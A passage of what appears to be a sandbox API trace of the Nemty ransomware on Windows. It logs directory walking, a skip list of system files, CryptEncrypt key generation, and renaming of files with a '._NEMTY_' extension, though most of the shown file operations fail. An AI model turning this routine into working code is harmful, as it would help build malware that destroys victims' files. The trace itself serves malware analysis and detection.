lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.485] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.485] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.491] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.491] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0062.491] CloseHandle (hObject=0xffffffff) returned 0 [0062.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0062.491] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0062.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0062.491] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0062.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0062.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0062.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0062.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94328 [0062.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0062.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0062.491] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png._nemty_kgobjgd_")) returned 0 [0062.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0062.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0062.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0062.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0062.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0062.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0062.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0062.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0062.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0062.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.492] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="full.png", cAlternateFileName="")) returned 1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2=".") returned 1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="..") returned 1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="...") returned 1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="windows") returned -1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="$RECYCLE.BIN") returned 1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="rsa") returned -1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="NTDETECT.COM") returned -1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="ntldr") returned -1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="MSDOS.SYS") returned -1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="IO.SYS") returned -1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="boot.ini") returned 1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="boot.ini") returned 1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="AUTOEXEC.BAT") returned 1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="ntuser.dat") returned -1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="desktop.ini") returned 1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="CONFIG.SYS") returned 1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="RECYCLER") returned -1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="BOOTSECT.BAK") returned 1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="bootmgr") returned 1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="programdata") returned -1 [0062.492] lstrcmpiW (lpString1="full.png", lpString2="appdata") returned 1 [0062.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="full.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0062.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="full.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="full.png", lpUsedDefaultChar=0x0) returned 8 [0062.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0062.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="full.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0062.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="full.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="full.png", lpUsedDefaultChar=0x0) returned 8 [0062.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0062.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="full.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0062.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="full.png", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="full.png", lpUsedDefaultChar=0x0) returned 8 [0062.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="full.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0062.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="full.png", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="full.png", lpUsedDefaultChar=0x0) returned 8 [0062.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0062.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0062.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0062.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0062.493] Sleep (dwMilliseconds=0x5) [0062.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8e76a50, dwHighDateTime=0x1d561e7)) [0062.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8e76a50, dwHighDateTime=0x1d561e7)) [0062.507] GetLastError () returned 0x5 [0062.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0062.507] GetLastError () returned 0x5 [0062.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0062.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0062.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0062.507] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0062.507] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0062.507] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0062.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0062.507] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="7KVCaTBOgP2PlSGKX9ZVw+ezJd8TJOxblr3YEoCG9SlTrHpM5TUijtQKGp5VxPpE\r\nX6cfI6dr/9byCXasKAWl4i0oRtshvSsCF4PI+jNQKX2c+HU+8LPjQzZHSLbekLPw\r\n/lDB2YxQ9TvxH8h25jl9iIwuHByXUyVnW2CxJvU5whCVRzoGGDokylgOy77m+7/P\r\nUF6ODqIiOuy4eZ4T1o2Vb2W/fCl3gFaY6jYvQnOtCbGrqv/CUGA/C6KIeYv+UW0F\r\nGzg0pYKvKPGJtmL9VDMgfR6RFGC1Hm/imLwqUkEZx8ac6zlXVWCmrAhLzk0zmcgG\r\n7N7+76WkiFXlQdGYLGJDtA==\r\n", pcchString=0x653e91c) returned 1 [0062.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0062.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0062.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0062.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0062.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0062.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0062.508] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.516] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0062.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0062.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.535] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.535] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.545] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.545] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.554] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.554] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.564] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.564] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.583] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.592] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.592] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.612] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.612] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.618] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0062.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.624] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0062.624] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0062.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0062.624] CloseHandle (hObject=0xffffffff) returned 0 [0062.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0062.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0062.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0062.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0062.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0062.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0062.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340240 [0062.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63402c8 [0062.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0062.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0062.624] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" 